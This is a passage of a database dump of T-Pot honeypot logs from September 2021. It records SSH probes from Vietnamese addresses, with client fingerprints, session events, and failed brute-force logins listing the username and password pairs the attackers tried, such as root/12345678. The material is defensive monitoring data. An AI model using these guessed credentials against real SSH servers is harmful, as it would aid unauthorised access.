"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34752, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.957449", "@timestamp": "2021-09-20T11:06:50.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21746	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.601537+03	2021-09-20 14:15:04.049612+03	{"_id": "KAbjAnwBvYTbRNuEIgNR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8f3b30debfb6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:51.601537Z", "@timestamp": "2021-09-20T11:06:51.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21747	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:52.069024+03	2021-09-20 14:15:04.051612+03	{"_id": "agbjAnwBvYTbRNuEJAPU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1252478688135762, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53148, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.069024Z", "@timestamp": "2021-09-20T11:06:52.069Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21748	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:52.650104+03	2021-09-20 14:15:04.052613+03	{"_id": "aAbjAnwBvYTbRNuEJAPU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1879640550178630, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58698, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.650104Z", "@timestamp": "2021-09-20T11:06:52.650Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21749	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:52.201247+03	2021-09-20 14:15:04.053613+03	{"_id": "cQbjAnwBvYTbRNuEJQPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [mother/fucker] failed", "session": "23fff7ddc752", "@version": "1", "password": "fucker", "username": "mother", "timestamp": "2021-09-20T11:06:52.201247Z", "@timestamp": "2021-09-20T11:06:52.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21750	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:52.914221+03	2021-09-20 14:15:04.054613+03	{"_id": "bgbjAnwBvYTbRNuEJQPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "554c9cd49e1b", "@version": "1", "timestamp": "2021-09-20T11:06:52.914221Z", "@timestamp": "2021-09-20T11:06:52.914Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21751	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:52.978752+03	2021-09-20 14:15:04.056612+03	{"_id": "bwbjAnwBvYTbRNuEJQPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/12345678] failed", "session": "3bcde3b08a76", "@version": "1", "password": "12345678", "username": "root", "timestamp": "2021-09-20T11:06:52.978752Z", "@timestamp": "2021-09-20T11:06:52.978Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21752	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:53.106967+03	2021-09-20 14:15:04.057613+03	{"_id": "cAbjAnwBvYTbRNuEJQPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [github/github] failed", "session": "8f3b30debfb6", "@version": "1", "password": "github", "username": "github", "timestamp": "2021-09-20T11:06:53.106967Z", "@timestamp": "2021-09-20T11:06:53.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21995	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:17.352549+03	2021-09-20 14:15:04.358614+03	{"_id": "3QXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9865354beb87", "@version": "1", "duration": 2.892071485519409, "timestamp": "2021-09-20T11:06:17.352549Z", "@timestamp": "2021-09-20T11:06:17.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21753	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:53.015579+03	2021-09-20 14:15:04.059613+03	{"_id": "pAbjAnwBvYTbRNuEKAO-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1684646887480765, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59092, "dest_port": 22, "timestamp": "2021-09-20T11:06:53.015579Z", "@timestamp": "2021-09-20T11:06:53.015Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21754	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:27.029056+03	2021-09-20 14:15:04.060613+03	{"_id": "qQXiAnwBvYTbRNuEw_4W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 125054065923748, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40276, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.029056Z", "@timestamp": "2021-09-20T11:06:27.029Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21755	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:27.657904+03	2021-09-20 14:15:04.061612+03	{"_id": "rAXiAnwBvYTbRNuEw_4W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 228300785154071, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53320, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.657904Z", "@timestamp": "2021-09-20T11:06:27.657Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21756	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:27.679385+03	2021-09-20 14:15:04.063613+03	{"_id": "rwXiAnwBvYTbRNuEw_4X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2168900153498799, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35538, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.679385Z", "@timestamp": "2021-09-20T11:06:27.679Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21757	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.261578+03	2021-09-20 14:15:04.064612+03	{"_id": "sAXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40632 (192.168.176.2:22) [session: b032e03f56c0]", "session": "b032e03f56c0", "@version": "1", "protocol": "ssh", "src_port": 40632, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.261578Z", "@timestamp": "2021-09-20T11:06:27.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21758	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:27.376827+03	2021-09-20 14:15:04.066612+03	{"_id": "sQXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:53320 (192.168.176.2:22) [session: 1ea6db3a4b69]", "session": "1ea6db3a4b69", "@version": "1", "protocol": "ssh", "src_port": 53320, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.376827Z", "@timestamp": "2021-09-20T11:06:27.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21759	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.403605+03	2021-09-20 14:15:04.067612+03	{"_id": "sgXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35538 (192.168.176.2:22) [session: 4463f8a835ce]", "session": "4463f8a835ce", "@version": "1", "protocol": "ssh", "src_port": 35538, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.403605Z", "@timestamp": "2021-09-20T11:06:27.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21760	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:27.849197+03	2021-09-20 14:15:04.068614+03	{"_id": "swXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:58662 (192.168.176.2:22) [session: a2a5b97bfe65]", "session": "a2a5b97bfe65", "@version": "1", "protocol": "ssh", "src_port": 58662, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.849197Z", "@timestamp": "2021-09-20T11:06:27.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21761	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.904144+03	2021-09-20 14:15:04.070613+03	{"_id": "tAXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40914 (192.168.176.2:22) [session: 54501d7af649]", "session": "54501d7af649", "@version": "1", "protocol": "ssh", "src_port": 40914, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.904144Z", "@timestamp": "2021-09-20T11:06:27.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21762	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:26.828712+03	2021-09-20 14:15:04.071612+03	{"_id": "tQXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54962, "timestamp": "2021-09-20T11:06:26.828712", "@timestamp": "2021-09-20T11:06:26.828Z", "t-pot_ip_ext": "109.199.241.180", 